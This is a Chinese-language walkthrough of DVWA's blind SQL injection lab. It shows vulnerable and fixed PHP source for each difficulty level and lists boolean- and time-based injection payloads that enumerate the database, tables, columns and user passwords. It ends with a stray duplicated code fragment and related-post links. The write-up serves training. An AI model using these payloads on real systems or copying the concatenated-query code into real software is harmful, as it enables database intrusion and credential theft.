第八关:SQL Injection(Blind) 盲注

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

Low

<?php
if( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errorstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
}
?>

分析代码可得,参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种情况。

  • 布尔盲注

1、判断注入的类型
输入1' and 1=1#, 1' and 1=2#进行判断

2、猜解当前数据库名
首先需要猜解数据库名的长度,然后挨个猜解字符

# 猜解数据库的长度
1' and length(database())=1 #
1' and length(database())=1 #... 依次增大直到显示正确# 使用二分法猜解数据库名的字符
1' and ascii(substr(database(),1,1))>97 #,显示存在,则表明字符的ASCII码大于97,在ASCII码 97 - 122 使用二分法继续进行判断
1' and ascii(substr(database(),1,1))>110 #... 依次使用二分法直到查找到

3、猜解数据库中的表名

# 首先猜解数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,依次增加数字进行判断 '# 猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=1 #,依次增加数字进行判断 '# 猜解表名的字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))>97 #,使用二分法进行判断

4、猜解表中的字段名

# 首先猜解表中字段的数量
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,依次增加数字进行判断 '# 猜解字段名的长度
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),0,1))=1 ,依次增加数字进行判断 '# 猜解表名的字符
1' and ascii(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),0,1))>97 #,使用二分法进行判断

5、猜解数据同样采用二分法进行判断,不够这种判断可以使用工具或者自己写代码进行猜解


  • 时间盲注

1、判断是否存在注入点并确定类型

1' and sleep(5) #
1 and sleep(5) #

2、猜解数据库名

# 首先判断数据库名的长度
1' and if(length(database())=1,sleep(5),1) #
1' and if(length(database())=2,sleep(5),1) #... 依次增加直到感觉有延迟# if(a,b,c)  如果a满足条件,返回吧,否则返回c# 猜解数据库名的字符
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) #... 依次增加直到感觉有延迟

3、猜解数据库的表名

# 猜解数据库中表的数量
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # '... 依次增加直到感觉有延迟# 猜解表名的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=1,sleep(5),1) # '...依次增加直到感觉有延迟# 猜解表名的字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))>97,sleep(5),1) # '...依次增加直到感觉有延迟

4、猜解表中的字段名

# 猜解字段的数量
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1) # '# 猜解字段的长度
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),0,1))=1,sleep(5),1) # '# 猜解字段的字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),0,1))=97,sleep(5),1) # '

5、猜解数据,使用二分法增加效率

1' and if(ascii(substr((select username,password from users limit 0,1),0,1))=1,sleep(5),1) # '

Medium

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$id = $_POST[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errorstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}     break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';} else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
}
?>

代码中使用了mysql_real_escape_string函数对特殊符号进行转义,页面中也使用下拉框来避免用户的输入,且使用POST进行数据提交
虽然使用了POST进行数据提交,但是可以使用burp suite抓包获取参数信息,利用google插件hackbar进行POST数据提交,后面的步骤与low中类似。

High

<?php
if( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors// Get resultstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
}
?>

从源码中得到,sql查询语句做了limit限制,防止多条数据泄露,但可以使用#注释绕过;同时发现当sql查询为空或者出错时,代码将执行sleep函数,目的是为了扰乱基于时间的盲注,干扰我们的判断,因此不能使用基于时间的盲注,可以使用基于布尔的盲注。注入方法类似上面的步骤

Impossible

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );$exists = false;// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$exists = $data->rowCount();break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 1) {$row = $result->fetchArray();$numrows = $row[ 'numrows' ];$exists = ($numrows == 1);}}break;}}// Get resultsif ($exists) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

ID exists in the database.’;
} else {
// User wasn’t found, so the page wasn’t!
header( $_SERVER[ ‘SERVER_PROTOCOL’ ] . ’ 404 Not Found’ );

    // Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';
}

}
// Generate Anti-CSRF token
generateSessionToken();
?>

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

DVWA靶场-sql盲注相关推荐

  1. Dvwa之SQL盲注全级别学习笔记

    SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...

  2. DVWA下的SQL注入与SQL盲注

    一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...

  3. DVWA——sql盲注

    一.盲注 与sql注入区别: 盲注只回复是或否,Sql注入回复详细信息: 过程: 1.判断是否存在注入,注入时字符型还是数字型 2.猜解数据库的长度,猜解数据库的名称 3.猜解数据库中有几个表,猜解表 ...

  4. sql盲注二分法注入脚本

    sql盲注二分法注入脚本 次脚本可以用来检测sql靶场第五关 http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1 #-*-coding:utf ...

  5. sql盲注 各种方法拿到 管理员账户和密码

    任务092:手动漏洞挖掘-SQL盲注笔记 介绍 web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在 下面就是没有过滤好发现了他存在sql漏洞 sql盲注就是看不见他报错 ...

  6. 你不知道的20万sql盲注(速来)

    1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...

  7. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...

  8. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  9. sql注入攻击与防御第二版读书笔记二——SQL盲注利用

    寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...

最新文章

  1. android 2.1 监听电话状态并自动接听来电
  2. 奔四的技术人,内心都有哪些波澜?
  3. SDH光端机概述与技术应用详解
  4. PHP 中使用工厂模式
  5. [转载] python程序所需的图片通过base64编码成字符串放在代码中
  6. 算法笔记_171:历届试题 小朋友排队(Java)
  7. 翻译:您在Swift 5中的第一个UITest
  8. c语言控制手机,怎么写用电脑控制手机的代码
  9. “红蓝眼人”问题中旅行者说的话的作用
  10. 给出一个不多于五位的正整数,求出它是几位数
  11. AC Leetcode 290. 单词规律
  12. SQL Server性能监视
  13. 《红色警戒2·尤里复仇》-第四章 随地建设
  14. 黑客攻击常见方法及安全策略制订(转)
  15. 找工作面试_求职面试和获得Web开发工作的提示
  16. 【redis源码学习】redis 中的“消息队列” Stream
  17. Cas(05)——修改Cas的其它配置
  18. 图像处理历史上最著名的女子——一位花花公子封面女郎
  19. Tkinter 组件详解(八):Listbox
  20. 【Python】记录抓包分析自动领取芝麻HTTP每日免费IP(成品+教程)

热门文章

  1. 跟我学制作Pak文件
  2. 数据库系统概论(第五版)重点总结,期末考试也可以用
  3. iPhone使用过程中提示:“无线局域网似乎未接入互联网”,点击继续使用可正常上网
  4. Ubuntu下PyCharm安装中文汉化包
  5. LocalDateTime加一年取有效期23:59:59
  6. auto.exe病毒的快速解决办法
  7. 推荐一个格式化json数据的谷歌插件JSONView:谷歌浏览器中JSONVue扩展程序插件jsonview的下载与安装
  8. 如何监控文件已成功通过EDI系统发给客户(三)-997回写
  9. java服务端代码_Java Socket编程服务器响应客户端实例代码
  10. 科普:本来想试试这个东西的效果,实在没有精力呵呵 blog群发王(价值1980元)源代码提供